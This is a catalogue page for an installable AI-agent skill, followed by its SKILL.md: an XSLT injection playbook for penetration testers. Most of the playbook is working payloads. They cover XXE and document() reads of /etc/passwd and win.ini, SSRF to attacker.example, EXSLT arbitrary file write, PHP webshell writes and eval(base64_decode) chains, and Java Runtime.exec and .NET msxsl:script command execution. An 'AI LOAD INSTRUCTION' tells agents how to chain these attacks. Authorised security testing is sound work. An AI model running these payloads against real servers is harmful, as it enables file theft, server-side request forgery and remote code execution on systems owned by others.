xslt-injection
XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces
Install / Use
npx skills add yaklang/hack-skills --skill xslt-injectionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Content & MediaSupported Platforms
Our assessment of xslt-injection
xslt-injection scores 93/100 on our quality scale, 215th of 1,155 Content & Media skills we index (top 19%).
Its SKILL.md is 10 KB long, well organised into 13 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so xslt-injection is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-09-30. Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
xslt-injection compared with similar skills
All 4 of these similar skills score higher than xslt-injection; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| xslt-injection (this skill)by yaklang | 93 | 2.3k | 2mo ago | SKILL.md |
| siyuanby siyuan-note | 100 | 47.3k | today | MCP Server |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
Frequently asked questions
- How do I install xslt-injection?
- Run
npx skills add yaklang/hack-skills --skill xslt-injection. The install tabs above show the steps for each supported agent. - Which AI agents does xslt-injection work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is xslt-injection safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is xslt-injection still maintained?
- The repository was last updated about 2 months ago, so xslt-injection is actively maintained.
Skill content
View source on GitHubname: xslt-injection description: >- XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.
SKILL: XSLT Injection — Testing Playbook
AI LOAD INSTRUCTION: XSLT injection occurs when attacker-influenced XSLT is compiled/executed server-side. Map the processor family first (Java/.NET/PHP/libxslt). Then chain document(), external entities, EXSLT, or embedded script/extension functions per platform. Authorized testing only; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load
xxe-xml-external-entity; if you care about outbounddocument(http:...)requests, cross-loadssrf-server-side-request-forgery.
0. QUICK START
- Find sinks: parameters named
xslt,stylesheet,transform,template, SOAP stylesheets, report generators, XML→HTML converters. - Probe reflection: inject unique namespace or
xsl:value-of select="'marker'"— if output changes, execution likely. - Fingerprint processor (§1).
- Escalate by family: document() / XXE (§2–3), EXSLT write (§4), PHP (§5), Java (§6), .NET (§7).
Quick probe (harmless marker):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. VENDOR DETECTION
Use standard system-property reads inside expressions:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
Typical fingerprints (examples, not exhaustive):
| Signal | Possible engine |
|--------|------------------|
| Apache Software Foundation / Xalan markers | Xalan (Java) |
| Saxonica / Saxon URI hints | Saxon |
| libxslt / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) |
| Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack |
Use results to select §5–§7 paths.
2. EXTERNAL ENTITY (XXE VIA XSLT)
XSLT 1.0 allows DTD-based entities in the stylesheet or source when the parser permits DTDs:
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
Note: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).
3. FILE READ VIA document()
document() loads another XML document into a node-set; local files often parse as XML (noisy) but errors and partial reads may still leak.
Unix example:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows example:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / out-of-band:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
Chain with error-based or timing observations if inline data does not return to the client.
4. FILE WRITE VIA EXSLT (exslt:document)
When EXSLT common extension is enabled:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
Impact: arbitrary file write where path permissions allow — often RCE via webroot, cron paths, or inclusion points.
5. RCE VIA PHP (php:function)
Requires PHP XSLT with registerPHPFunctions()-style exposure (application misconfiguration). Namespace:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
Directory listing:
<xsl:value-of select="php:function('scandir','.')"/>
Dangerous patterns (historical abuses — verify only in lab):
php:function('assert', string($payload))— environment-dependent, often deprecated/removed; chained withinclude/requirein old apps.php:function('file_put_contents','/var/www/shell.php','<?php ...')— webshell write when callable is whitelisted recklessly.preg_replacewith/emodifier (legacy PHP) — the replacement string is evaluated as PHP; metasploit-style chains often wrapped base64_decode of a blob to smuggle a meterpreter (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.
Legacy PHP equivalent (illustrates the /e + base64 pattern — lab only):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
Surface from XSLT only if php:function exposes preg_replace to user stylesheets (rare + critical misconfiguration).
Tester note: modern PHP hardening often blocks these; absence of RCE does not remove document() / XXE.
6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)
Java engines may expose extension functions mapping to static methods. Examples appear in historical advisories; exact syntax depends on version and extension binding.
Illustrative pattern (conceptual — adjust to permitted extension namespace and API):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon-style static Java integration (highly configuration-dependent):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
Replace 192.0.2.1 with your lab listener / documentation IP (RFC 5737 TEST-NET).
Operational guidance: if extensions are disabled (common secure default), pivot to document(), SSRF, or deserialization elsewhere — not every XSLT endpoint runs with extensions on.
7. RCE VIA .NET (msxsl:script)
When Microsoft XSLT script blocks are allowed:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
Default secure configs often disable scripts — treat this as when enabled behavior.
8. DECISION TREE
User influences XSLT or XML transform?
|
NO --> stop (out of scope)
|
YES
|
+---------------+---------------+
| |
output reflects no reflection
injected logic? try blind channels
| |
v v
system-property() errors, OOB, timing
fingerprint vendor |
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/file
EXSLT write extensions? | |
| | C# Process EXSLT?
v v v v
file R/W rt/exec cmd.exe /c map evidence
Payloads All The Things (PAT) Note
The PayloadsAllTheThings project documents many injection classes; for XSLT, maintainer notes indicate no dedicated maintained tool section comparable to SQLi/XSS toolchains — exploitation is processor- and configuration-specific, driven by proxy/manual payloads and custom scripts. Plan time for local lab reproduction with the same engine/version as the target when possible.
Tooling (practical)
| Category | Examples |
|----------|----------|
| Proxy / manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors |
| XML/XSLT lab | Match exact processor (PHP libxslt, Java Saxon version, .NET framework) in a VM |
| Out-of-band | Collaborator / private callback server for document('http://…') |
No single universal scanner replaces version-specific behavior validation.
Related
- xxe-xml-external-entity — DTD/entity hardening, generic XML parsers (
../xxe-xml-external-entity/SKILL.md). - ssrf-server-side-request-forgery — when
document(http:…)or entity URLs cause server fetches (../ssrf-server-side-request-forgery/SKILL.md).
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Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
